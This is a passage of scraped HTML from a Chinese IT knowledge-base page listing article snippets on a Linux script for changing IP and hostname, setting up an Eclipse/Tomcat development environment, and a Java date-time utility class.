Shell脚本之自动修改IP" target="_blank">Linux Shell脚本之自动修改IP</a> <span class="text-muted">pda158</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a><a class="tag" taget="_blank" href="/search/Debian/1.htm">Debian</a><a class="tag" taget="_blank" href="/search/%E8%84%9A%E6%9C%AC/1.htm">脚本</a> <div>作为一名 Linux SA,日常运维中很多地方都会用到脚本,而服务器的ip一般采用静态ip或者MAC绑定,当然后者比较操作起来相对繁琐,而前者我们可以设置主机名、ip信息、网关等配置。修改成特定的主机名在维护和管理方面也比较方便。如下脚本用途为:修改ip和主机名等相关信息,可以根据实际需求修改,举一反三! #!/bin/sh #auto Change ip netmask ga</div> </li> <li><a href="/article/3577.htm" title="开发环境搭建" target="_blank">开发环境搭建</a> <span class="text-muted">独浮云</span> <a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a><a class="tag" taget="_blank" href="/search/jdk/1.htm">jdk</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a> <div>       最近在开发过程中,经常出现MyEclipse内存溢出等错误,需要重启的情况,好麻烦。对于一般的JAVA+TOMCAT项目开发,其实没有必要使用重量级的MyEclipse,使用eclipse就足够了。尤其是开发机器硬件配置一般的人。         &n</div> </li> <li><a href="/article/3704.htm" title="操作日期和时间的工具类" target="_blank">操作日期和时间的工具类</a> <span class="text-muted">vipbooks</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7%E7%B1%BB/1.htm">工具类</a> <div>   大家好啊,好久没有来这里发文章了,今天来逛逛,分享一篇刚写不久的操作日期和时间的工具类,希望对大家有所帮助。 /* * @(#)DataFormatUtils.java 2010-10-10 * * Copyright 2010 BianJing,All rights reserved. */ package test; impor</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>